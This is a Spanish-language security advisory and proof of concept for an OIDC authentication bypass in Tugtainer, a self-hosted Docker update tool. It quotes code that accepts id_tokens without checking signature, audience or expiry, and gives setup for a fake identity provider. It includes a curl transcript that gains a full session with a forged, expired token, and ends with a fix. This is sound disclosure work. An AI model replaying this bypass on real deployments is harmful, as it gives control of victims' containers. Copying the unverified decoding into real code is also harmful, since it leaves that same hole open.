
PoC — OIDC id_token aceptado sin comprobación de firma/audiencia/caducidad en Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).
Estado del CVE: solicitado, pendiente de asignación. Este hallazgo se publica como GHSA-crjc-6vc7-xrfh. Al asignarse el CVE, este repositorio se renombra
CVE-YYYY-NNNNN-tugtainer-PoCy este banner se reemplaza con el enlace del CVE.
| Investigador | Dostxodjayev Abdullox (@squeeze440) |
| Aviso | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (Alto) |
| Debilidad | CWE-347 |
La verificación incorrecta de la firma criptográfica en el proveedor de autenticación OIDC en backend/modules/auth/providers/auth_oidc_provider.py en Quenary/tugtainer (commit 3138226) permite a un atacante posicionado para controlar o interceptar la respuesta de intercambio de tokens entre el backend de tugtainer y el proveedor OIDC configurado (por ejemplo, una posición de MITM en la red, un proveedor de identidad comprometido/malicioso, o un compromiso de DNS/terminación TLS en esa ruta) forjar un id_token arbitrario y obtener una sesión de tugtainer completamente autenticada, equivalente a administrador, para cualquier identidad, mediante GET /api/auth/oidc/callback.
Quenary/tugtainer — herramienta autoalojada de actualización automática de contenedores Docker con interfaz web, arquitectura agente/backend.
Commit 31382268bf16df32f33316fe4d601ad1635871d4 (rama predeterminada del repositorio, clonado el 2026-08-05).
8.1 (Alto) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (no AC:L): la explotación no es una simple solicitud de red no autenticada. Requiere que el atacante controle lo que el token endpoint devuelve al backend durante el intercambio de código servidor a servidor — de forma realista, una posición de MITM entre el backend de tugtainer y el IdP real, o un IdP comprometido/malicioso en el que el backend esté configurado para confiar. Esta es una precondición genuina y no trivial, por lo que se usa AC:H en lugar de AC:L.UI:N: una vez que el atacante tiene esa posición de red, no se necesita interacción de la víctima — el atacante puede dirigir todo el flujo de inicio de sesión por sí mismo (confirmado en el PoC a continuación, realizado de principio a fin con curl).C:H/I:H/A:H: la sesión resultante es una sesión de tugtainer completa y sin restricciones (no existe RBAC/lista de permitidos para identidades OIDC — véase Detalles) con acceso a todos los endpoints de gestión de contenedores/host: listar/leer todos los hosts y contenedores Docker, iniciar/detener/matar/eliminar contenedores, descargar imágenes y (si ALLOW_HOOKS/ALLOW_EXEC están habilitados en un host) ejecutar comandos dentro de los contenedores.S:U: el impacto permanece dentro del propio límite de autorización de tugtainer (el atacante se convierte en un usuario autenticado de tugtainer); no se trata como un cambio de alcance hacia un componente autorizado por separado.backend/modules/auth/providers/auth_oidc_provider.py, método _exchange_oidc_code (líneas 267–331), específicamente las líneas 299–306:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) decodifica en base64 el payload del JWT sin comprobar la firma, exp/iat, ni aud/iss — exactamente lo contrario de lo que OpenID Connect Core 1.0 §3.1.3.7 exige que haga un RP antes de confiar en un ID Token. El propio comentario del desarrollador ("not recommended for production") confirma que esto era un atajo conocido, no una decisión de diseño intencional.
Los claims resultantes fluyen directamente hacia la creación de la sesión sin ninguna comprobación adicional:
callback() (línea 137) llama a _exchange_oidc_code() y luego a _create_oidc_user_session() (línea 333), que extrae email/sub/preferred_username (líneas 341–345) directamente de los claims no verificados y emite cookies JWT reales y firmadas de tugtainer access_token/refresh_token (HttpOnly, SameSite=strict) mediante _set_cookies().grep de patrones de allowlist/allowed-email en backend/ no devuelve nada) — cualquier sub/email que esté en los claims (no verificados) se convierte en la identidad de la nueva sesión, con el mismo acceso que cualquier otro usuario autenticado (tugtainer tiene un único nivel de confianza plano, sin RBAC por usuario).aud e iss nunca se comprueban, un ID Token emitido para un cliente completamente no relacionado del mismo IdP — o, como se demuestra a continuación, uno con una firma basura/no coincidente y un exp ya expirado — se acepta con la misma facilidad que uno legítimo.Esto solo es alcanzable cuando OIDC_ENABLED=true (una opción que activa el administrador), por lo que no afecta al despliegue predeterminado/solo con contraseña.
Verificado dinámicamente contra la aplicación real compilada a partir de este commit (docker build -f Dockerfile.app), ejecutada mediante docker run simple (no la imagen publicada) con:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
Un proveedor OIDC falso mínimo (evidence/fake_idp.py, conservado en esta carpeta del encargo) sirve un documento de descubrimiento válido y, en POST /token, siempre devuelve un id_token que es deliberadamente inválido en todos los aspectos que un RP debe comprobar:
aud = "totally-wrong-client-id-not-tugtainers" (no coincide con OIDC_CLIENT_ID)exp = 1 hora en el pasado (ya expirado)Pasos (comandos reales, salida real, ambos contenedores ejecutados localmente):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
Payload de access_token decodificado (tal como lo emite el propio firmante JWT de tugtainer para este "usuario"):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
Sesión luego confirmada en vivo contra endpoints protegidos:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
El propio registro del IdP falso confirma el token forjado exacto que devolvió:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
Ayudante del PoC: evidence/fake_idp.py (conservado junto a este informe).
No se incluyen capturas de pantalla — esto es un bypass de API servidor a servidor sin componente de navegador/UI que capturar; la transcripción de curl anterior es la evidencia real, sin modificar, de comandos/respuestas.
Cualquier atacante capaz de influir en la respuesta de la llamada de intercambio de tokens OIDC que realiza el backend de tugtainer (MITM en esa ruta de red, un IdP malicioso/comprometido, o un compromiso de DNS/terminación TLS entre el backend y el IdP) puede emitir una sesión de tugtainer totalmente válida y sin restricciones como una identidad arbitraria — sin necesidad de conocer las credenciales de ningún usuario real y sin interacción de un usuario legítimo. Dado que tugtainer no tiene RBAC por usuario, esa sesión tiene acceso completo a la aplicación: enumerar todos los hosts y contenedores Docker registrados, iniciar/detener/matar/eliminar contenedores, descargar/etiquetar imágenes y (donde ALLOW_HOOKS/ALLOW_EXEC del agente estén habilitados) ejecutar comandos dentro de los contenedores.
aud/iss/exp)En _exchange_oidc_code, reemplace jwt.get_unverified_claims(token["id_token"]) por una decodificación con verificación: obtenga el jwks_uri del IdP desde el documento de descubrimiento, resuelva la clave de firma por kid y llame a jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (python-jose admite todo esto). Esto aplica la firma, exp/iat/nbf, aud e iss según la especificación OIDC Core. Considere también añadir una lista de permitidos opcional de valores email/sub aceptados para despliegues que comparten un IdP con otras aplicaciones.
Dostxodjayev Abdullox (GitHub: squeeze440)
GitHub Security Advisory / Private Vulnerability Reporting en Quenary/tugtainer (PVR confirmado como habilitado).